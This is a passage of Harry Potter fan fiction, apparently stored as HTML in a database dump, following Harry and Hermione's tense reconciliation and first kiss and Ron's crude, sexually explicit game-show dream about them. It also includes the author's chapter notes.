to mention other bruises.&nbsp; &#8220;What\nhappened to you three?&#8221; Harry scanned each of their faces.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">George cleared his throat. &#8220;There\nwas uh, a misunderstanding.&#8221; He wiped his nose which hurt.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took in a breath, &#8220;Harry\nwhy did you interrupt my conversation, that was very\nrude.&#8221; She said crossing her arms in front of her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked at Hermione for a\nmoment then looked at the Weasleys, &#8220;can I have a moment alone with Hermione\nhere.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Fred and George nodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Ron didn&#8217;t want do leave Harry alone with\nHermione.&nbsp; Whatever he wanted to say he\ncould say it in front of him too.&nbsp; He was\ndetermined to stay, he felt two pairs of hands on his arms and his brothers\nwere dragging him away.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned back to Hermione with\na smile.&nbsp; &#8220;Hermione, you were being taken\nadvantage of I had to step in.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I was not,\nwe were just having a friendly conversation.&#8221; Hermione said looking away from\nhim, her nose in the air.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A friendly\nconversation that probably could have gotten you into trouble.&#8221; Harry\nsaid glancing about her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I didn&#8217;t need your help Harry; I\ncan take care of myself.&#8221; Hermione replied glaring at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, those boys were all\nover you.&nbsp; Couldn&#8217;t you see that was not\na situation that you had control in.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I am always in control.&#8221; Hermione\nglanced down at her fingers as she twirled them</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sighed, &#8220;Hermione answer me\nthis, you are still a virgin, right?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked up at him with an\noffended gasp and a glare in her eyes. &#8220;That is none of your business.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just answer the question.&#8221; Harry\nsaid exasperated.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So what if I am?&#8221; Hermione said\nas she looked away from him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I don&#8217;t want to be rude to\nyou but you need to hear this.&nbsp; It&#8217;s for\nyour own good.&#8221;&nbsp; He took a breath and\nthen began again.&nbsp; &#8220;You are innocent\nHermione. Those boys would have said anything to make you trust them.&nbsp; You were not in control, at all. I know, I\nheard, and I saw, they would have taken you somewhere private and then well,\nlet&#8217;s just say you wouldn&#8217;t be a virgin anymore.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s eyes narrowed in anger\nand she stood, &#8220;like I said Harry, I am always in control.&#8221;&nbsp; She realized that yes Harry was right, she did\nnot have that situation under control and she very well could have gotten into\nserious trouble.&nbsp; But she was going to be\nstubborn.&nbsp; &#8220;I don&#8217;t always need you to\ncome running to save my butt, I can do it for myself.&#8221; She picked up her money\npurse from off the bar and stalked away from him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry grunted and banged his head\ndown on the bar, &#8220;why won&#8217;t she listen to reason.&#8221; He said quietly mostly to\nhimself.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey kid you were right&#8221; the bar\ntender said with a smile and Harry lifted his head looking at him.&nbsp; The bartender smiled again, &#8220;don&#8217;t beat yourself up for it.&nbsp;\nShe&#8217;ll come around.&#8221; The bartender said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head and stood up\nfrom the bar he went off to find the Weasleys.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After a long day the group finally\nmade it back to the burrow, dinner was served and eaten.&nbsp; Dishes were cleared and cleaned.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione wanted some time to\nherself, she told no one to bother her as she went outside and sat down on the\nnewly repaired porch swing to watch the last remaining colors of the sunset to\ndisappear into the darkness of night.&nbsp;\nShe swung back and forth a gently, closing her eyes simply humming to\nherself.&nbsp; She heard a noise behind her\nand saw Harry looking out the screen door at her.&nbsp; &#8220;What do you want?&#8221; She said with an\nirritated tone.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione.&#8221;\nHe sighed. &#8220;We really need to talk.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t want to talk to you\nHarry.&#8221; Hermione said continuing to swing herself gently. &#8220;I just want to be\nleft alone.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Please, Hermione.&#8221;&nbsp; He was almost pleading.&nbsp; &#8220;This strain on our friendship, well it&#8217;s not\ngood.&nbsp; And friends talk things out, and\nget past their problems.&nbsp; You might even\nfeel better after.&#8221; He hoped she at least give him five minutes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione let out a breath of air.\n&#8220;All right, but I&#8217;m not going in there, you have to come out here.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">That was good enough for him, Harry opened the screen door and stepped outside into\nto cool summer evening.&nbsp; &#8220;First of all\nHermione, I wanted to say how sorry I am for well walking in on you last night,\nI know your still mad at me for that.&nbsp;\nBut you need to know that it was just an accident.&nbsp; I would never take advantage of you like\nthat, why do you believe that I would?&#8221;&nbsp;\nHe looked at the back of her head which was lowered.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed turning around to\nface him; she rested her arm on the back of the swing. &#8220;I don&#8217;t know Harry;\nthere have been a lot of strange things happening this summer. I&#8217;m just\nconfused.&nbsp; I should have known that you\nwould never want to walk in on me naked.&#8221; She looked down at her fingers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked at her &#8220;Now I never\nsaid that I didn&#8217;t want to walk in on you naked, I just said I didn&#8217;t plan on\nit.&#8221; He grinned.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione gasped, &#8220;Harry you\nflirt.&#8221; She sat there shocked for a moment, but then laughed a bit, the tension\nin her released.&nbsp; &#8220;Do you want to sit?&#8221;\nShe asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded with a smile and\nHermione moved over so he could sit beside her.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat next to her and began to\nswing gently. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;And well I have a confession to make.&#8221;\nHermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s that?&#8221; Harry said, he turned looking at her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You were right about this afternoon, I didn&#8217;t have any control of that situation.&#8221; She\nsaid glancing down into her lap. &#8220;How did you know to come and well save my\nbutt?&#8221; She smiled a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, I will always look out\nfor you.&nbsp; You should know that by now.\nAlmost seven years of friendship should have taught you that already.&#8221; He said\nwith a half smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well, I am glad you were there\nfor me.&#8221; Hermione said looking into his eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Their gazes locked, holding for what\nseemed like an eternity.&nbsp; Harry didn&#8217;t\nknow what made him do it, maybe it was something in\nher eyes that was commanding him.&nbsp; But he\nfelt himself leaning closer to her, he couldn&#8217;t stop himself if he wanted to,\nand he didn&#8217;t.&nbsp; His lips descended on hers\nin a soft, sweet kiss, just holding it for a moment.&nbsp; The feel of her lips were so soft he wanted\nmore but a thought popped into his head.&nbsp;\n<i style="mso-bidi-font-style:normal">This is your friend, you can&#8217;t\nkiss her.&nbsp; Stop!!</i>&nbsp; He listened an\nimmediately pulled away.&nbsp; What was\nhappening?&nbsp; He stared at her in shock, he couldn&#8217;t believe he just did that.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry quickly stood, &#8220;I&#8217;m sorry, I\nhave to go.&#8221; He quickly turned and tore open the door and it seemed that he was\nrunning away from her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">What had just happened?</i> Hermione thought.&nbsp; She was confused at the way Harry just looked\nat her in complete horror and ran away from her. As if she had some kind of\ndisease.&nbsp; She felt hurt and crossed her\narms over her bosom, hugging herself thinking <i style="mso-bidi-font-style:\nnormal">that there must be something wrong with me</i>.&nbsp; She stood up slowly from the swing and opened\nthe door and carried herself up to her room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">What she didn&#8217;t see were the\nfairies that were hovering above her, not in a happy glow.&nbsp; They were sad.&nbsp; One of the lifted it&#8217;s head in an idea, she\nturned to her fellow fairies and started telling them her plan.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">========</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well no fairy pranks, Ron seems to\nmake disasters well enough on his own, LOL.&nbsp;\nWell not to worry the fairies will return in the next chapter.&nbsp; So stay tuned for Chapter 5</p>\n\n<p class="MsoNormal">Read and review, thanks Ryoko</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(14, 5, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Disclaimer: All original Harry Potter characters belong to\nJ.K. Rowlings, not me. *sigh* Oh well.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Cheesy actor voice: Previously on One Hot Summer:&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;The feel of her lips were so soft he wanted\nmore but a thought popped into his head.&nbsp; <i style="mso-bidi-font-style:\nnormal">This is your friend, you can&#8217;t kiss her.&nbsp; Stop!!</i>&nbsp; He\nlistened and immediately pulled away.&nbsp; What was happening?&nbsp; He stared\nat her in shock; he couldn&#8217;t believe he just did that.&nbsp; &nbsp;Harry\nquickly stood, &#8220;I&#8217;m sorry, I have to go.&#8221; He quickly turned and tore open the\ndoor and it seemed that he was running away from her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">What had just happened?</i>\nHermione thought.&nbsp; She was confused at the way Harry just looked at her in\ncomplete horror and ran away from her. As if she had some kind of\ndisease.&nbsp; She felt hurt and crossed her arms over her bosom, hugging\nherself thinking <i style="mso-bidi-font-style:normal">that there must be\nsomething wrong with me</i>.&nbsp; She stood up slowly from the swing and\nopened the door and carried herself up to her room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Cheesy actor\nvoice again: Now Chapter 5&#8212;It&#8217;s No Illusion&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">A/N: Sorry I just\ncouldn&#8217;t resist the cheesy actor voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">One Hot Summer</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">Chapter 5&#8212;It&#8217;s no Illusion</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione tossed\nand turned in her bed; there was no way she could sleep.&nbsp; Too many thoughts had been plaguing her.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">Why\nhim? Why now?&nbsp; And what in the hell was\nwrong with me?&#8217;</i>&nbsp; Hermione turned over\nto face the blank wall <i style="mso-bidi-font-style:normal">&#8220;You&#8217;re nothing.&#8221;</i>\nHer mind said. &#8216;<i style="mso-bidi-font-style:normal">That&#8217;s not true, I&#8217;m\nsmart.&#8217; </i>&nbsp;She argued back.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Being\nsmart doesn&#8217;t get you everything.&#8217;&nbsp;&nbsp; </i>Hermione\nsighed looking up at the dark ceiling. &#8220;I never wanted everything.&#8221;&nbsp; She said in a soft whisper.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8216;<i style="mso-bidi-font-style:normal">That&#8217;s not what&#8217;s bothering you.&#8217;</i>&nbsp; Her mind said in an annoying voice <i style="mso-bidi-font-style:normal">&#8216;You&#8217;ve fallen for your best friend, that&#8217;s\nwhat&#8217;s bothering you.&#8217;</i>&nbsp; Hermione put\nthe pillow over her face hoping to keep her thoughts from speaking to her, but\nit did no such luck.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;And the way he ran away from you in\nabsolute horror proves that&#8212;&#8217; </i>Hermione sat up straight shouting &#8220;Shut\nup!!&#8221;&nbsp; The voices stopped bothering her;\nshe put the pillow back down on the bed and rested her head upon it.&nbsp; In an instant her eyes closed and she drifted\nto sleep.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">On the other side\nof the hall in Ron&#8217;s room, a similar situation was going on.&nbsp; Harry was still wide-awake regretting what he\nhad done earlier. <i style="mso-bidi-font-style:normal">&#8216;Why did I have to do\nthat?&nbsp; Why couldn&#8217;t I stop myself? Why in\nthe hell did I kiss my best friend?&#8217;</i>&nbsp;\nHarry turned over and faced the window; the stars were twinkling\nbrightly.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8220;You&#8217;re an idiot.&#8221; </i>His mind said.&nbsp;\n<i style="mso-bidi-font-style:normal">&#8216; That&#8217;s not true, I&#8217;m careful.&#8217; </i>He\nargued back. <i style="mso-bidi-font-style:normal">&#8216;Being careful doesn&#8217;t get\nyou everything.&#8217;</i> Harry sighed turning over on his back and looking up at\nthe dark ceiling.&nbsp; &#8220;I never wanted\neverything.&#8221; He said out loud in a soft whisper.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8216;That&#8217;s not what&#8217;s bothering you.&#8217;</i> His mind said in an annoying voice <i style="mso-bidi-font-style:\nnormal">&#8216;You&#8217;ve fallen for your best friend, that&#8217;s what&#8217;s bothering you.&#8217;</i>&nbsp; Harry grabbed the pillow from underneath his\nhead and put it over his face to try and stop the annoying thoughts from\nspeaking to him, but that didn&#8217;t work very well. <i style="mso-bidi-font-style:\nnormal">&#8216;You love her.&nbsp; No I don&#8217;t.&nbsp; You love her. No I don&#8217;t.&nbsp; You love her.&nbsp;\nNO I DON&#8217;T!! YOU LOVE H&#8212;&#8217; </i>Harry sat up straight shouting &#8220;Shut up!!&#8221;\nThe voices stopped bothering him; he looked over to Ron&#8217;s bed and hoped he\ndidn&#8217;t wake him.&nbsp; He put the pillow back\ndown on the bed, yawning largely. Harry&#8217;s head finally hit the pillow and he\nwas out like a light.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron stirred and\nwoke to Harry shouting at someone to shut up, Ron looked about the room yet no\none was in there.&nbsp; He shrugged, thinking\nthat Harry but be having some sort of weird dream that makes him shout out in\nthe middle of it. Either that or the boy had gone completely off his\nrocker.&nbsp; Ron turned over on his bed\nclutching his pillow, pretending that the soft goose down pillow was his\ndesire, Hermione.&nbsp; He nestled his head\ninto its softness and sleep washed over him. &#8212;<i style="mso-bidi-font-style:\nnormal">He was sitting at a table drumming his fingernails along the table; he\nkept looking over at the clock, hour after hour passed.&nbsp; It wasn&#8217;t until an hour later that the front\ndoor opened and Hermione came through, her hair was all disheveled and her\nmakeup had definitely been smeared.&nbsp; He\nstood &#8220;Where have you been, it&#8217;s </i><i style="mso-bidi-font-style:normal">three thirty</i><i style="mso-bidi-font-style:normal"> in the morning,\nand don&#8217;t tell me it was a long work night.&#8221; He pointed at her accusingly.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;Ron, you know I&#8217;ve been having an affair.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;You what?!&#8221; Ron said gaping at her as if she grew another\neye.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;Don&#8217;t look so shocked, you were the one that set us\nup.&nbsp; You told me that it would please you\nif I was with another man.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;When did I say that?&#8221; Ron crossed his arms.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;Oh don&#8217;t play dumb, since you lost your penis in that terrible\nshuffleboard accident, you said it would please you if I was getting action\nfrom another man, you even said you wanted to watch.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">A loud annoying game show host voice seemed to fill the\nroom, &#8220;Today is your lucky day Ron Weasley.&#8221;&nbsp;\nThe room started to change a large score board appeared with flashing\nlights.&nbsp; And a game show, Alex Trebek walked out from behind a wall.&nbsp; &#8220;Welcome Ron Weasley to Who&#8217;s Screwing My\nWife.&nbsp; Now the object of the game is to\nguess in three guesses or less who&#8217;s been screwing your wife. Are you ready to\nplay?&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">Ron felt confused, &#8220;I, I, I guess so.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;Good, now first of all you have to sit here.&#8221; Alex pointed\nto the chair. </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">Ron nodded and made his way over to the chair and sat\ndown.&nbsp; He saw Hermione standing on a\nround blue stage with a spotlight on her, she was winking and blowing kisses\ninto the crowd that seemed to appear out of nowhere.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;Okay Ron, you and him have been friends since first year\nand he is knows as The&#8212;Boy&#8212;Who--Lived. Who is he?&#8221; Alex said &#8220;And please take\nyour time to think about it.&#8221;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;I don&#8217;t need three guesses, I know who it is.&#8221; Ron said\nhis eyes narrowing.&nbsp; &#8220;It&#8217;s Harry Potter.&#8221;\nHe said bitterly. Ron heard a bunch of dings and buzzers going off as Harry\ncame out from around the corner with a happy smile oh his face and stand next\nto Hermione.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;That&#8217;s correct, you&#8217;ve won Ron, you&#8217;ve won the grand\nprize.&#8221; Alex said</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;Which is?&#8221; Ron was almost afraid to ask.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;You get to watch who&#8217;s been screwing your wife.&#8221; Alex\nsaid.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">&#8220;What?!&#8221; Ron shrieked as he saw Harry and Hermione turn to\neach other and their arms wound around each other.&nbsp; Harry pulled her close and covered her mouth\nwith his; with lightning reflexes Hermione&#8217;s dress was off of her and on the\nfloor along with Harry&#8217;s clothes.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white"><i style="mso-bidi-font-style:normal">Ron struggled in the chair to get up, but he found himself\nstuck to the seat, which caused him to look down at see why he was stuck.&nbsp; He heard loud satisfying moans and\ngasps.&nbsp; When Ron looked up he was nearly\nblinded.&nbsp; Hermione had her legs wrapped\nrightly around Harry&#8217;s waist and he was already driving hard into her, every\ntime he plunged in deeper, she clung to him tight, and tighter as he went\nfaster and harder into her.&nbsp; She threw\nher head back and she let out a&#8212;</i>Ron&#8217;s eyes\npopped open the sun was barely up, he could see the yellows and oranges of\ndawn.&nbsp; He turned over on his side facing\naway from the window.&nbsp; What was with\nthese dreams, why has he been having dreams of Harry and Hermione engaging in\nthings that he wanted to do himself?&nbsp; Ron\nthen closed his eyes to try and sleep again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The next day Ron\nsuggested that the three of them should finish up their homework, both Harry\nand Hermione agreed.&nbsp; They were sitting\nat the kitchen table.&nbsp; Ron noticed there\nwas something off between Harry and Hermione; they weren&#8217;t even speaking to\neach other.&nbsp; Boy, Hermione still must be\nmad at Harry for the other day.&nbsp; He shook\nhis head and went back to work.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry had decided\nthat the best thing to do in this kind of a situation, is ignore it and maybe\nit will go away.&nbsp; And that&#8217;s exactly what\nhe was going to do. Ignore Hermione until she forgot about it.&nbsp; That&#8217;s right, don&#8217;t talk to her, and don&#8217;t\neven look at her.&nbsp; Don&#8217;t even acknowledge\nthat you know she is in the room, sitting across from you at the table.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione sighed,\nwondering why Harry was ignoring her.&nbsp;\nWas her kiss really that bad? Did she disgust him so much that he\ncouldn&#8217;t even look at her?&nbsp; She sighed\nagain and continued reading her book.&nbsp;\nNot only was she sad but she was getting a little mad too, what kind of\na friend would ignore you like this?&nbsp;\nThey&#8217;ve been through too much together, and now he was just going to\nthrow almost seven years of friendship away because of one stupid, little\nkiss.&nbsp; She wasn&#8217;t going to sit here and\nlet him keep ignoring her like this.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Now was the time\nfor Ron to put his next plan into action, he put his quill down on the table\nand accidentally knocked it off with his elbow.&nbsp;\nHe looked at Hermione who was standing. &#8220;Uh, do you think you could get\nmy quill for me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione glared\ndown at Ron, from her standing position.&nbsp;\n&#8220;Get it your damn self.&#8221; And she picked up her book and stormed from the\nkitchen. And she roughly pushed the screen door open and walked outside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron with a\nstrange statement on his face looked over at Harry, &#8220;Well that was uncalled\nfor.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry simply\nshrugged his shoulders, and looked in the direction that Hermione gone.&nbsp; Nope he wasn&#8217;t going to go after her, he was\njust going to sit there.&nbsp; That&#8217;s right,\nthat&#8217;s right.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione walked a\nbit into the yard and passed a great oak tree where she sat down to relax in\nits offered shade.&nbsp; She took a deep\nbreath and opened her book to read.&nbsp;\nThree fairies darted above her head, and one landed on her book, getting\nher attention.&nbsp; Hermione smiled down at\nthe fairy. &#8220;And what is it that you want?&#8221; She said and the fairy smiled\npointing upward.&nbsp; Two of them were\ncreating some kind of material; it looked like an ancient roman style gown\nright out of thin air.&nbsp; Hermione looked\ndown at the fairy.&nbsp; &#8220;Oh no, I&#8217;m to old to\nplay dress up.&#8221; She said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The fairy started\nto pout, the little person&#8217;s bottom lip started to quiver.&nbsp; Hermione felt bad.&nbsp; She tilted her head to the side and took in 